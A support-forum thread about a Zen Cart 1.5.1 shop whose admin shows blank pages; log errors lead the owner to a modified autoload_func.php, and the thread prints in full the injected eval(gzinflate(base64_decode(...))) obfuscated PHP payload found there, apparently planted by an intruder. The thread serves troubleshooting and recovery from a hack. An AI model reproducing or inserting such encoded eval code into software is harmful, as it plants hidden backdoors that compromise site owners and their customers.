Very strange Admin login problems

[lightup]

Hi,

I am using zencart 1.5.1

I have just started experiencing an extremely strange problem while trying to login to my admin.

I have changed nothing on the server so cannot explain why this has started happening. I shall do my best to explain the problem...

When typing in the url for my typical admin log e.g. www.mydomain.com/myadmindirectory/
I am presented with a blank page. however when i add /login.php?camefrom=index.php to the end the login page loads and allows me to enter my details.

Upon loging in from this page the admin then shows a blank page until I then remove the "login.php?camefrom=index.php" from the end of the url at which point I am presented with the proper admin screen.

Does anyone have any idea what on earth is causing this?! I am completely lost!

Thanks for any help.

[Ajeh]

What debug logs do you see in the /logs directory on this error?

[lightup]

What debug logs do you see in the /logs directory on this error?

It looks like these are relevant:

[Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at public_html/includes/autoload_func.php:4) in public_html/myadmin/includes/functions/general.php on line 21, referer: http://www.mydomain.com/myadmin/

[Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/autoload_func.php:4) in /public_html/myadmin/includes/init_includes/init_templates.php on line 28, referer: http://www.mydomain.com/myadmin/

[Fri May 31 17:49:35 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/autoload_func.php:4) in /public_html/includes/functions/sessions.php on line 113, referer: http://www.,mydomain/myadmin/

[Fri May 31 17:49:33 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/autoload_func.php:4) in /public_html/myadmin/includes/init_includes/init_templates.php on line 28

[Fri May 31 17:49:33 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/autoload_func.php:4) in /public_html/includes/functions/sessions.php on line 113

[Ajeh]

Check your file on the server for:
/public_html/includes/autoload_func.php

with a clean copy of this file and see if you have any differences ...

Have you made any changes to this file?

[lightup]

Check your file on the server for:
/public_html/includes/autoload_func.php

with a clean copy of this file and see if you have any differences ...

Have you made any changes to this file?

Hi,

There was some very odd coding at the top of my file compared to original!!

"<?php eval(gzinflate(base64_decode('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######DhNk1NuMp1IZNfXjbrjd9U/UJtqaeqrep7rlJl/SblMenX/wE=')));?>"



I have since replaced this with the original file. however the admin is still having to be logged oddly :S

Is there any other files I should check? Could this have been inserted by a hacker?

[Ajeh]

I would check and see if your site has been hacked in some manner ...
http://www.zen-cart.com/wiki/index.p...ing_From_Hacks

Was this a clean install of Zen Cart or an upgrade? And, if an upgrade, from what version?

[lightup]

I also just replaced all the other files in the error log with their original and still got the same problem:

New error log now reads:

[Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/classes/class.base.php:4) in /public_html/admin/includes/functions/general.php on line 21, referer: http://www.mydomain.com/admin/

[Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /public_html/includes/classes/class.base.php:4) in /home/thetahea/public_html/admin/includes/init_includes/init_templates.php on line 28, referer:

[Fri May 31 18:35:46 2013] [error] [client 86.181.2.132] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cache limiter - headers already sent (output started at /public_html/includes/classes/class.base.php:4) in
/public_html/includes/functions/sessions.php on line 113, referer:

[Fri May 31 18:34:52 2013] [error] [client 86.181.2.132] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/thetahea/public_html/includes/classes/class.base.php:4) in /public_html/admin/includes/functions/general.php on line 21, referer:

[Ajeh]

I would read over the recovery from hackers and compare all of your files to a clean copy of Zen Cart ...

[lightup]

I would read over the recovery from hackers and compare all of your files to a clean copy of Zen Cart ...

Thank you, I shall look into this thoroughly.